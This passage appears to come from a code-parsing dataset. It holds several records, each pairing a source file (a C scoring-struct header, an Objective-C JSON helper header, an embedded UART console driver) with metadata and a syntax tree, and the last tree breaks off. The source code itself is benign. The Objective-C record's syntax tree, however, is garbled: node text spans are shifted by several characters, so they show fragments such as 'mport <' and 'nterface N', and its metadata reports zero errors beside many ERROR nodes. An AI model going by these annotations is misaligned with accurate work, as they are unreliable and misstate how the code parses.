"class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 102, "universal_type": "class", "name": "_score_doc", "text_snippet": "struct _score_doc"}, {"node_id": 103, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 111, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 112, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 118, "universal_type": "class", "name": "_score_doc", "text_snippet": "struct _score_doc"}, {"node_id": 119, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 127, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 128, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 142, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 143, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 154, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 155, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 166, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 167, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 178, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 179, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 184, "universal_type": "class", "name": "_top_docs", "text_snippet": "struct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;"}, {"node_id": 185, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 191, "universal_type": "class", "name": "_sort_field", "text_snippet": "struct _sort_field"}, {"node_id": 192, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 198, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 199, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 205, "universal_type": "class", "name": "_top_docs", "text_snippet": "struct _top_docs"}, {"node_id": 206, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 217, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 218, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 6, "text": "#include \"../utils/int_list.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "/*\n * author: <NAME>\n */\n\n#ifndef _TOP_DOC_H_\n#define _TOP_DOC_H_\n\n#include \"../utils/int_list.h\"\n\nstruct _score_doc\n{\n int doc;\n float score;\n};\n\nstruct _score_doc*\nscore_doc_initial(int _doc, float _score);\n\nstruct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n};\n\nstruct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n};\n\nstruct _score_docs*\nscore_docs_initial();\n\nvoid\nscore_docs_add(struct _score_docs* _s, struct _score_doc* _data);\n\nstruct _score_doc*\nscore_docs_get_curr(struct _score_docs* _s);\n\nstruct _score_doc*\nscore_docs_get_index(struct _score_docs* _s, int _index);\n\nvoid\nscore_docs_rm_curr(struct _score_docs* _s);\n\nvoid\nscore_docs_destory(struct _score_docs* _s);\n\nvoid\nscore_docs_clear(struct _score_docs* _s);\n\nvoid\nscore_docs_print(struct _score_docs* _s);\n\nstruct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n};\n\nstruct _top_docs*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs);\n\n#endif\n\n"}
81,150
c
// // NSJSONSerialization+RTAddition.h // yanyu // // Created by rickytang on 13-11-21. // Copyright (c) 2013年 <NAME>. All rights reserved. // #import <Foundation/Foundation.h> @interface NSJSONSerialization (RTAddition) +(id)convertToObjectWithJsonString:(NSString *)string; +(NSString *)convertToJsonStringWithObject:(id)object; +(NSData *)convertToJsonDataWithObject:(id)object; +(id)convertToObjectWithJsonData:(NSData *)date; @end
30.43
14
(translation_unit) "//\n// NSJSONSerialization+RTAddition.h\n// yanyu\n//\n// Created by rickytang on 13-11-21.\n// Copyright (c) 2013年 <NAME>. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@interface NSJSONSerialization (RTAddition)\n+(id)convertToObjectWithJsonString:(NSString *)string;\n\n+(NSString *)convertToJsonStringWithObject:(id)object;\n\n+(NSData *)convertToJsonDataWithObject:(id)object;\n\n+(id)convertToObjectWithJsonData:(NSData *)date;\n@end\n" (comment) "//" (comment) "// NSJSONSerialization+RTAddition.h" (comment) "// yanyu" (comment) "//" (comment) "// Created by rickytang on 13-11-21." (comment) "// Copyright (c) 2013年 <NAME>. All rights reserved.\n/" (comment) "\n\n" (preproc_call) "mport <Foundation/Foundation.h>\n\n@" (preproc_directive) "mport <" (preproc_arg) "oundation/Foundation.h>\n\n" (ERROR) "nterface NSJSONSerialization (RTAddition)\n+(id)convertToObjectWithJsonString:(NSString *)string;\n" (ERROR) "n" (type_identifier) "terface N" (function_declarator) "JSONSerialization (RTAddition)\n+" (identifier) "JSONSerialization (" (parameter_list) "TAddition)\n+" (() "T" (identifier) "Addition)\n" ()) "+" (unary_expression) "id)convertToObjectWithJsonString:(" (+) "i" (cast_expression) "d)convertToObjectWithJsonString:(" (() "d" (type_descriptor) ")c" (type_identifier) ")c" ()) "o" (identifier) "nvertToObjectWithJsonString:(" (:) "N" (() "S" (binary_expression) "String *)string;\n" (identifier) "String *" (*) "s" (ERROR) "t" ()) "t" (identifier) "ring;\n" (expression_statement) "\n" (;) "\n" (expression_statement) "NSString *)convertToJsonStringWithObject:(id)object;\n\n" (unary_expression) "NSString *)convertToJsonStringWithObject:(" (+) "N" (cast_expression) "SString *)convertToJsonStringWithObject:(" (() "S" (type_descriptor) "String *)c" (type_identifier) "String *" (abstract_pointer_declarator) "c" (*) "c" ()) "o" (identifier) "nvertToJsonStringWithObject:(" (ERROR) "id)object;\n" (:) "i" (() "d" (identifier) ")o" ()) "b" (identifier) "ject;\n" (;) "\n" (expression_statement) "NSData *)convertToJsonDataWithObject:(id)object;\n\n" (unary_expression) "NSData *)convertToJsonDataWithObject:(" (+) "N" (cast_expression) "SData *)convertToJsonDataWithObject:(" (() "S" (type_descriptor) "Data *)c" (type_identifier) "Data *" (abstract_pointer_declarator) "c" (*) "c" ()) "o" (identifier) "nvertToJsonDataWithObject:(" (ERROR) "id)object;\n" (:) "i" (() "d" (identifier) ")o" ()) "b" (identifier) "ject;\n" (;) "\n" (ERROR) "id)convertToObjectWithJsonData:(NSData *)date;\n@end\n" (binary_expression) "id)convertToObjectWithJsonData:(NSData *)date;\n" (unary_expression) "id)convertToObjectWithJsonData:(" (+) "i" (cast_expression) "d)convertToObjectWithJsonData:(" (() "d" (type_descriptor) ")c" (type_identifier) ")c" ()) "o" (identifier) "nvertToObjectWithJsonData:(" (ERROR) "NSData *" (:) "N" (() "S" (identifier) "Data *" (*) "d" (ERROR) "a" ()) "a" (identifier) "te;\n" (;) "@" (ERROR) "n" (identifier) "d\n"
95
9
{"language": "c", "success": true, "metadata": {"lines": 14, "avg_line_length": 30.43, "nodes": 58, "errors": 0, "source_hash": "4aa886311b6997dde372bcf7868bd6415dffc35c9e94f184ed156ca10a300d42", "categorized_nodes": 32}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "mport <Foundation/Foundation.h>\n\n@", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "mport <", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "oundation/Foundation.h>\n\n", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 33}}, {"id": 3, "type": "ERROR", "text": "nterface NSJSONSerialization (RTAddition)\n+(id)convertToObjectWithJsonString:(NSString *)string;\n", "parent": null, "children": [4, 5, 6, 10, 16], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 53}}, {"id": 4, "type": "ERROR", "text": "n", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 5, "type": "type_identifier", "text": "terface N", "parent": 3, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 10}}, {"id": 6, "type": "function_declarator", "text": "JSONSerialization (RTAddition)\n+", "parent": 3, "children": [7, 8], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 43}}, {"id": 7, "type": "identifier", "text": "JSONSerialization (", "parent": 6, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 30}}, {"id": 8, "type": "parameter_list", "text": "TAddition)\n+", "parent": 6, "children": [9], "start_point": {"row": 10, "column": 31}, "end_point": {"row": 10, "column": 43}}, {"id": 9, "type": "identifier", "text": "Addition)\n", "parent": 8, "children": [], "start_point": {"row": 10, "column": 32}, "end_point": {"row": 10, "column": 42}}, {"id": 10, "type": "unary_expression", "text": "id)convertToObjectWithJsonString:(", "parent": 3, "children": [11, 12], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 34}}, {"id": 11, "type": "+", "text": "i", "parent": 10, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 1}}, {"id": 12, "type": "cast_expression", "text": "d)convertToObjectWithJsonString:(", "parent": 10, "children": [13, 15], "start_point": {"row": 11, "column": 1}, "end_point": {"row": 11, "column": 34}}, {"id": 13, "type": "type_descriptor", "text": ")c", "parent": 12, "children": [14], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 4}}, {"id": 14, "type": "type_identifier", "text": ")c", "parent": 13, "children": [], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 4}}, {"id": 15, "type": "identifier", "text": "nvertToObjectWithJsonString:(", "parent": 12, "children": [], "start_point": {"row": 11, "column": 5}, "end_point": {"row": 11, "column": 34}}, {"id": 16, "type": "binary_expression", "text": "String *)string;\n", "parent": 3, "children": [17, 18, 19, 20], "start_point": {"row": 11, "column": 36}, "end_point": {"row": 11, "column": 53}}, {"id": 17, "type": "identifier", "text": "String *", "parent": 16, "children": [], "start_point": {"row": 11, "column": 36}, "end_point": {"row": 11, "column": 44}}, {"id": 18, "type": "*", "text": "s", "parent": 16, "children": [], "start_point": {"row": 11, "column": 45}, "end_point": {"row": 11, "column": 46}}, {"id": 19, "type": "ERROR", "text": "t", "parent": 16, "children": [], "start_point": {"row": 11, "column": 46}, "end_point": {"row": 11, "column": 47}}, {"id": 20, "type": "identifier", "text": "ring;\n", "parent": 16, "children": [], "start_point": {"row": 11, "column": 47}, "end_point": {"row": 11, "column": 53}}, {"id": 21, "type": "unary_expression", "text": "NSString *)convertToJsonStringWithObject:(", "parent": null, "children": [22, 23], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 42}}, {"id": 22, "type": "+", "text": "N", "parent": 21, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 23, "type": "cast_expression", "text": "SString *)convertToJsonStringWithObject:(", "parent": 21, "children": [24, 28], "start_point": {"row": 13, "column": 1}, "end_point": {"row": 13, "column": 42}}, {"id": 24, "type": "type_descriptor", "text": "String *)c", "parent": 23, "children": [25, 26], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 12}}, {"id": 25, "type": "type_identifier", "text": "String *", "parent": 24, "children": [], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 10}}, {"id": 26, "type": "abstract_pointer_declarator", "text": "c", "parent": 24, "children": [27], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 12}}, {"id": 27, "type": "*", "text": "c", "parent": 26, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 12}}, {"id": 28, "type": "identifier", "text": "nvertToJsonStringWithObject:(", "parent": 23, "children": [], "start_point": {"row": 13, "column": 13}, "end_point": {"row": 13, "column": 42}}, {"id": 29, "type": "ERROR", "text": "id)object;\n", "parent": null, "children": [30, 31], "start_point": {"row": 13, "column": 42}, "end_point": {"row": 13, "column": 53}}, {"id": 30, "type": "identifier", "text": ")o", "parent": 29, "children": [], "start_point": {"row": 13, "column": 44}, "end_point": {"row": 13, "column": 46}}, {"id": 31, "type": "identifier", "text": "ject;\n", "parent": 29, "children": [], "start_point": {"row": 13, "column": 47}, "end_point": {"row": 13, "column": 53}}, {"id": 32, "type": "unary_expression", "text": "NSData *)convertToJsonDataWithObject:(", "parent": null, "children": [33, 34], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 38}}, {"id": 33, "type": "+", "text": "N", "parent": 32, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}, {"id": 34, "type": "cast_expression", "text": "SData *)convertToJsonDataWithObject:(", "parent": 32, "children": [35, 39], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 15, "column": 38}}, {"id": 35, "type": "type_descriptor", "text": "Data *)c", "parent": 34, "children": [36, 37], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 10}}, {"id": 36, "type": "type_identifier", "text": "Data *", "parent": 35, "children": [], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 8}}, {"id": 37, "type": "abstract_pointer_declarator", "text": "c", "parent": 35, "children": [38], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 10}}, {"id": 38, "type": "*", "text": "c", "parent": 37, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 10}}, {"id": 39, "type": "identifier", "text": "nvertToJsonDataWithObject:(", "parent": 34, "children": [], "start_point": {"row": 15, "column": 11}, "end_point": {"row": 15, "column": 38}}, {"id": 40, "type": "ERROR", "text": "id)object;\n", "parent": null, "children": [41, 42], "start_point": {"row": 15, "column": 38}, "end_point": {"row": 15, "column": 49}}, {"id": 41, "type": "identifier", "text": ")o", "parent": 40, "children": [], "start_point": {"row": 15, "column": 40}, "end_point": {"row": 15, "column": 42}}, {"id": 42, "type": "identifier", "text": "ject;\n", "parent": 40, "children": [], "start_point": {"row": 15, "column": 43}, "end_point": {"row": 15, "column": 49}}, {"id": 43, "type": "ERROR", "text": "id)convertToObjectWithJsonData:(NSData *)date;\n@end\n", "parent": null, "children": [44, 56, 57], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 18, "column": 4}}, {"id": 44, "type": "binary_expression", "text": "id)convertToObjectWithJsonData:(NSData *)date;\n", "parent": 43, "children": [45, 51, 53, 54, 55], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 47}}, {"id": 45, "type": "unary_expression", "text": "id)convertToObjectWithJsonData:(", "parent": 44, "children": [46, 47], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 32}}, {"id": 46, "type": "+", "text": "i", "parent": 45, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 1}}, {"id": 47, "type": "cast_expression", "text": "d)convertToObjectWithJsonData:(", "parent": 45, "children": [48, 50], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 32}}, {"id": 48, "type": "type_descriptor", "text": ")c", "parent": 47, "children": [49], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 4}}, {"id": 49, "type": "type_identifier", "text": ")c", "parent": 48, "children": [], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 4}}, {"id": 50, "type": "identifier", "text": "nvertToObjectWithJsonData:(", "parent": 47, "children": [], "start_point": {"row": 17, "column": 5}, "end_point": {"row": 17, "column": 32}}, {"id": 51, "type": "ERROR", "text": "NSData *", "parent": 44, "children": [52], "start_point": {"row": 17, "column": 32}, "end_point": {"row": 17, "column": 40}}, {"id": 52, "type": "identifier", "text": "Data *", "parent": 51, "children": [], "start_point": {"row": 17, "column": 34}, "end_point": {"row": 17, "column": 40}}, {"id": 53, "type": "*", "text": "d", "parent": 44, "children": [], "start_point": {"row": 17, "column": 41}, "end_point": {"row": 17, "column": 42}}, {"id": 54, "type": "ERROR", "text": "a", "parent": 44, "children": [], "start_point": {"row": 17, "column": 42}, "end_point": {"row": 17, "column": 43}}, {"id": 55, "type": "identifier", "text": "te;\n", "parent": 44, "children": [], "start_point": {"row": 17, "column": 43}, "end_point": {"row": 17, "column": 47}}, {"id": 56, "type": "ERROR", "text": "n", "parent": 43, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 57, "type": "identifier", "text": "d\n", "parent": 43, "children": [], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 4}}]}, "node_categories": {"declarations": {"functions": [6], "variables": [], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [10, 12, 16, 21, 23, 32, 34, 44, 45, 47], "assignments": [], "loops": [], "conditionals": [5, 7, 9, 14, 15, 17, 20, 25, 28, 30, 31, 36, 39, 41, 42, 49, 50, 52, 55, 57], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "unknown", "text_snippet": "JSONSerialization (RTAddition)\n+"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// NSJSONSerialization+RTAddition.h\n// yanyu\n//\n// Created by rickytang on 13-11-21.\n// Copyright (c) 2013\u5e74 <NAME>. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@interface NSJSONSerialization (RTAddition)\n+(id)convertToObjectWithJsonString:(NSString *)string;\n\n+(NSString *)convertToJsonStringWithObject:(id)object;\n\n+(NSData *)convertToJsonDataWithObject:(id)object;\n\n+(id)convertToObjectWithJsonData:(NSData *)date;\n@end\n"}
81,151
c
#include "registers.h" #include <stdint.h> #include "task_apis.h" /* #define P_AO_UART_WFIFO (0xc81004c0) */ /* #define P_AO_RTI_PIN_MUX_REG (0xc8100014) */ #define UART_PORT_CONS P_AO_UART_WFIFO #define UART_STP_BIT UART_MODE_MASK_STP_1BIT #define UART_PRTY_BIT 0 #define UART_CHAR_LEN UART_MODE_MASK_CHAR_8BIT #define UART_MODE_RESET_MASK \ (UART_MODE_MASK_RST_TX \ | UART_MODE_MASK_RST_RX \ | UART_MODE_MASK_CLR_ERR) #define UART_WFIFO (0<<2) #define UART_RFIFO (1<<2) #define UART_MODE (2<<2) #define UART_STATUS (3<<2) #define UART_IRQCTL (4<<2) #define UART_CTRL (5<<2) #define UART_MODE_MASK_STP_1BIT (0<<16) #define UART_MODE_MASK_CHAR_8BIT (0<<20) #define UART_MODE_MASK_TX_EN (1<<12) #define UART_MODE_MASK_RX_EN (1<<13) #define UART_MODE_MASK_RST_TX (1<<22) #define UART_MODE_MASK_RST_RX (1<<23) #define UART_MODE_MASK_CLR_ERR (1<<24) #define UART_STAT_MASK_TFIFO_FULL (1<<21) #define UART_CTRL_USE_XTAL_CLK (1<<24) #define UART_CTRL_USE_NEW_BAUD_RATE (1<<23) #define P_UART(uart_base, reg) (uart_base+reg) #define P_UART_WFIFO(uart_base) P_UART(uart_base, UART_WFIFO) #define P_UART_MODE(uart_base) P_UART(uart_base, UART_MODE) #define P_UART_CTRL(uart_base) P_UART(uart_base, UART_CTRL) #define P_UART_STATUS(uart_base) P_UART(uart_base, UART_STATUS) static int uart_tx_isfull(void) { return readl(P_UART_STATUS(UART_PORT_CONS)) & UART_STAT_MASK_TFIFO_FULL; } void wait_uart_empty(void) { #if 0 while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))) ; #else unsigned int count=0; do { if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0) _udelay(4); else break; count++; } while ( count < 20000); #endif } int uart_putc(int c) { if (c == '\n') uart_putc('\r'); /* Wait until TX is not full */ while (uart_tx_isfull()) ; writel((char)c, P_UART_WFIFO(UART_PORT_CONS)); /*wait_uart_empty();*/ return c; } int uart_puts(const char *s) { while (*s) uart_putc(*s++); return 1; } void uart_put_hex(unsigned int data, unsigned bitlen) { int i; unsigned char s; for (i = bitlen - 4; i >= 0; i -= 4) { if ((data >> i) == 0) { uart_putc(0x30); continue; } s = (data >> i) & 0xf; if (s < 10) uart_putc(0x30 + s); else uart_putc(0x61 + s - 10); } }
26.55
87
(translation_unit) "#include "registers.h"\n#include <stdint.h>\n#include "task_apis.h"\n\n/* #define P_AO_UART_WFIFO (0xc81004c0) */\n/* #define P_AO_RTI_PIN_MUX_REG (0xc8100014) */\n\n#define UART_PORT_CONS P_AO_UART_WFIFO\n\n#define UART_STP_BIT UART_MODE_MASK_STP_1BIT\n#define UART_PRTY_BIT 0\n#define UART_CHAR_LEN UART_MODE_MASK_CHAR_8BIT\n#define UART_MODE_RESET_MASK \\n (UART_MODE_MASK_RST_TX \\n | UART_MODE_MASK_RST_RX \\n | UART_MODE_MASK_CLR_ERR)\n\n#define UART_WFIFO (0<<2)\n#define UART_RFIFO (1<<2)\n#define UART_MODE (2<<2)\n#define UART_STATUS (3<<2)\n#define UART_IRQCTL (4<<2)\n#define UART_CTRL (5<<2)\n#define UART_MODE_MASK_STP_1BIT (0<<16)\n#define UART_MODE_MASK_CHAR_8BIT (0<<20)\n#define UART_MODE_MASK_TX_EN (1<<12)\n#define UART_MODE_MASK_RX_EN (1<<13)\n#define UART_MODE_MASK_RST_TX (1<<22)\n#define UART_MODE_MASK_RST_RX (1<<23)\n#define UART_MODE_MASK_CLR_ERR (1<<24)\n#define UART_STAT_MASK_TFIFO_FULL (1<<21)\n#define UART_CTRL_USE_XTAL_CLK (1<<24)\n#define UART_CTRL_USE_NEW_BAUD_RATE (1<<23)\n\n#define P_UART(uart_base, reg) (uart_base+reg)\n#define P_UART_WFIFO(uart_base) P_UART(uart_base, UART_WFIFO)\n#define P_UART_MODE(uart_base) P_UART(uart_base, UART_MODE)\n#define P_UART_CTRL(uart_base) P_UART(uart_base, UART_CTRL)\n#define P_UART_STATUS(uart_base) P_UART(uart_base, UART_STATUS)\n\n\nstatic int uart_tx_isfull(void)\n{\n return readl(P_UART_STATUS(UART_PORT_CONS)) &\n UART_STAT_MASK_TFIFO_FULL;\n}\n\nvoid wait_uart_empty(void)\n{\n#if 0\n while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n ;\n#else\n unsigned int count=0;\n do {\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n } while ( count < 20000);\n#endif\n}\n\nint uart_putc(int c)\n{\n if (c == '\n')\n uart_putc('\r');\n\n /* Wait until TX is not full */\n while (uart_tx_isfull())\n ;\n\n writel((char)c, P_UART_WFIFO(UART_PORT_CONS));\n /*wait_uart_empty();*/\n return c;\n}\n\nint uart_puts(const char *s)\n{\n while (*s)\n uart_putc(*s++);\n return 1;\n}\n\nvoid uart_put_hex(unsigned int data, unsigned bitlen)\n{\n int i;\n unsigned char s;\n for (i = bitlen - 4; i >= 0; i -= 4) {\n if ((data >> i) == 0) {\n uart_putc(0x30);\n continue;\n }\n s = (data >> i) & 0xf;\n if (s < 10)\n uart_putc(0x30 + s);\n else\n uart_putc(0x61 + s - 10);\n }\n}\n" (preproc_include) "#include "registers.h"\n" (#include) "#include" (string_literal) ""registers.h"" (") """ (string_content) "registers.h" (") """ (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (preproc_include) "#include "task_apis.h"\n" (#include) "#include" (string_literal) ""task_apis.h"" (") """ (string_content) "task_apis.h" (") """ (comment) "/* #define P_AO_UART_WFIFO (0xc81004c0) */" (comment) "/* #define P_AO_RTI_PIN_MUX_REG (0xc8100014) */" (preproc_def) "#define UART_PORT_CONS P_AO_UART_WFIFO\n" (#define) "#define" (identifier) "UART_PORT_CONS" (preproc_arg) "P_AO_UART_WFIFO" (preproc_def) "#define UART_STP_BIT UART_MODE_MASK_STP_1BIT\n" (#define) "#define" (identifier) "UART_STP_BIT" (preproc_arg) "UART_MODE_MASK_STP_1BIT" (preproc_def) "#define UART_PRTY_BIT 0\n" (#define) "#define" (identifier) "UART_PRTY_BIT" (preproc_arg) "0" (preproc_def) "#define UART_CHAR_LEN UART_MODE_MASK_CHAR_8BIT\n" (#define) "#define" (identifier) "UART_CHAR_LEN" (preproc_arg) "UART_MODE_MASK_CHAR_8BIT" (preproc_def) "#define UART_MODE_RESET_MASK \\n (UART_MODE_MASK_RST_TX \\n | UART_MODE_MASK_RST_RX \\n | UART_MODE_MASK_CLR_ERR)\n" (#define) "#define" (identifier) "UART_MODE_RESET_MASK" (preproc_arg) "(UART_MODE_MASK_RST_TX \\n | UART_MODE_MASK_RST_RX \\n | UART_MODE_MASK_CLR_ERR)" (preproc_def) "#define UART_WFIFO (0<<2)\n" (#define) "#define" (identifier) "UART_WFIFO" (preproc_arg) "(0<<2)" (preproc_def) "#define UART_RFIFO (1<<2)\n" (#define) "#define" (identifier) "UART_RFIFO" (preproc_arg) "(1<<2)" (preproc_def) "#define UART_MODE (2<<2)\n" (#define) "#define" (identifier) "UART_MODE" (preproc_arg) "(2<<2)" (preproc_def) "#define UART_STATUS (3<<2)\n" (#define) "#define" (identifier) "UART_STATUS" (preproc_arg) "(3<<2)" (preproc_def) "#define UART_IRQCTL (4<<2)\n" (#define) "#define" (identifier) "UART_IRQCTL" (preproc_arg) "(4<<2)" (preproc_def) "#define UART_CTRL (5<<2)\n" (#define) "#define" (identifier) "UART_CTRL" (preproc_arg) "(5<<2)" (preproc_def) "#define UART_MODE_MASK_STP_1BIT (0<<16)\n" (#define) "#define" (identifier) "UART_MODE_MASK_STP_1BIT" (preproc_arg) "(0<<16)" (preproc_def) "#define UART_MODE_MASK_CHAR_8BIT (0<<20)\n" (#define) "#define" (identifier) "UART_MODE_MASK_CHAR_8BIT" (preproc_arg) "(0<<20)" (preproc_def) "#define UART_MODE_MASK_TX_EN (1<<12)\n" (#define) "#define" (identifier) "UART_MODE_MASK_TX_EN" (preproc_arg) "(1<<12)" (preproc_def) "#define UART_MODE_MASK_RX_EN (1<<13)\n" (#define) "#define" (identifier) "UART_MODE_MASK_RX_EN" (preproc_arg) "(1<<13)" (preproc_def) "#define UART_MODE_MASK_RST_TX (1<<22)\n" (#define) "#define" (identifier) "UART_MODE_MASK_RST_TX" (preproc_arg) "(1<<22)" (preproc_def) "#define UART_MODE_MASK_RST_RX (1<<23)\n" (#define) "#define" (identifier) "UART_MODE_MASK_RST_RX" (preproc_arg) "(1<<23)" (preproc_def) "#define UART_MODE_MASK_CLR_ERR (1<<24)\n" (#define) "#define" (identifier) "UART_MODE_MASK_CLR_ERR" (preproc_arg) "(1<<24)" (preproc_def) "#define UART_STAT_MASK_TFIFO_FULL (1<<21)\n" (#define) "#define" (identifier) "UART_STAT_MASK_TFIFO_FULL" (preproc_arg) "(1<<21)" (preproc_def) "#define UART_CTRL_USE_XTAL_CLK (1<<24)\n" (#define) "#define" (identifier) "UART_CTRL_USE_XTAL_CLK" (preproc_arg) "(1<<24)" (preproc_def) "#define UART_CTRL_USE_NEW_BAUD_RATE (1<<23)\n" (#define) "#define" (identifier) "UART_CTRL_USE_NEW_BAUD_RATE" (preproc_arg) "(1<<23)" (preproc_function_def) "#define P_UART(uart_base, reg) (uart_base+reg)\n" (#define) "#define" (identifier) "P_UART" (preproc_params) "(uart_base, reg)" (() "(" (identifier) "uart_base" (,) "," (identifier) "reg" ()) ")" (preproc_arg) "(uart_base+reg)" (preproc_function_def) "#define P_UART_WFIFO(uart_base) P_UART(uart_base, UART_WFIFO)\n" (#define) "#define" (identifier) "P_UART_WFIFO" (preproc_params) "(uart_base)" (() "(" (identifier) "uart_base" ()) ")" (preproc_arg) "P_UART(uart_base, UART_WFIFO)" (preproc_function_def) "#define P_UART_MODE(uart_base) P_UART(uart_base, UART_MODE)\n" (#define) "#define" (identifier) "P_UART_MODE" (preproc_params) "(uart_base)" (() "(" (identifier) "uart_base" ()) ")" (preproc_arg) "P_UART(uart_base, UART_MODE)" (preproc_function_def) "#define P_UART_CTRL(uart_base) P_UART(uart_base, UART_CTRL)\n" (#define) "#define" (identifier) "P_UART_CTRL" (preproc_params) "(uart_base)" (() "(" (identifier) "uart_base" ()) ")" (preproc_arg) "P_UART(uart_base, UART_CTRL)" (preproc_function_def) "#define P_UART_STATUS(uart_base) P_UART(uart_base, UART_STATUS)\n" (#define) "#define" (identifier) "P_UART_STATUS" (preproc_params) "(uart_base)" (() "(" (identifier) "uart_base" ()) ")" (preproc_arg) "P_UART(uart_base, UART_STATUS)" (function_definition) "static int uart_tx_isfull(void)\n{\n return readl(P_UART_STATUS(UART_PORT_CONS)) &\n UART_STAT_MASK_TFIFO_FULL;\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "int" (function_declarator) "uart_tx_isfull(void)" (identifier) "uart_tx_isfull" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{\n return readl(P_UART_STATUS(UART_PORT_CONS)) &\n UART_STAT_MASK_TFIFO_FULL;\n}" ({) "{" (return_statement) "return readl(P_UART_STATUS(UART_PORT_CONS)) &\n UART_STAT_MASK_TFIFO_FULL;" (return) "return" (binary_expression) "readl(P_UART_STATUS(UART_PORT_CONS)) &\n UART_STAT_MASK_TFIFO_FULL" (call_expression) "readl(P_UART_STATUS(UART_PORT_CONS))" (identifier) "readl" (argument_list) "(P_UART_STATUS(UART_PORT_CONS))" (() "(" (call_expression) 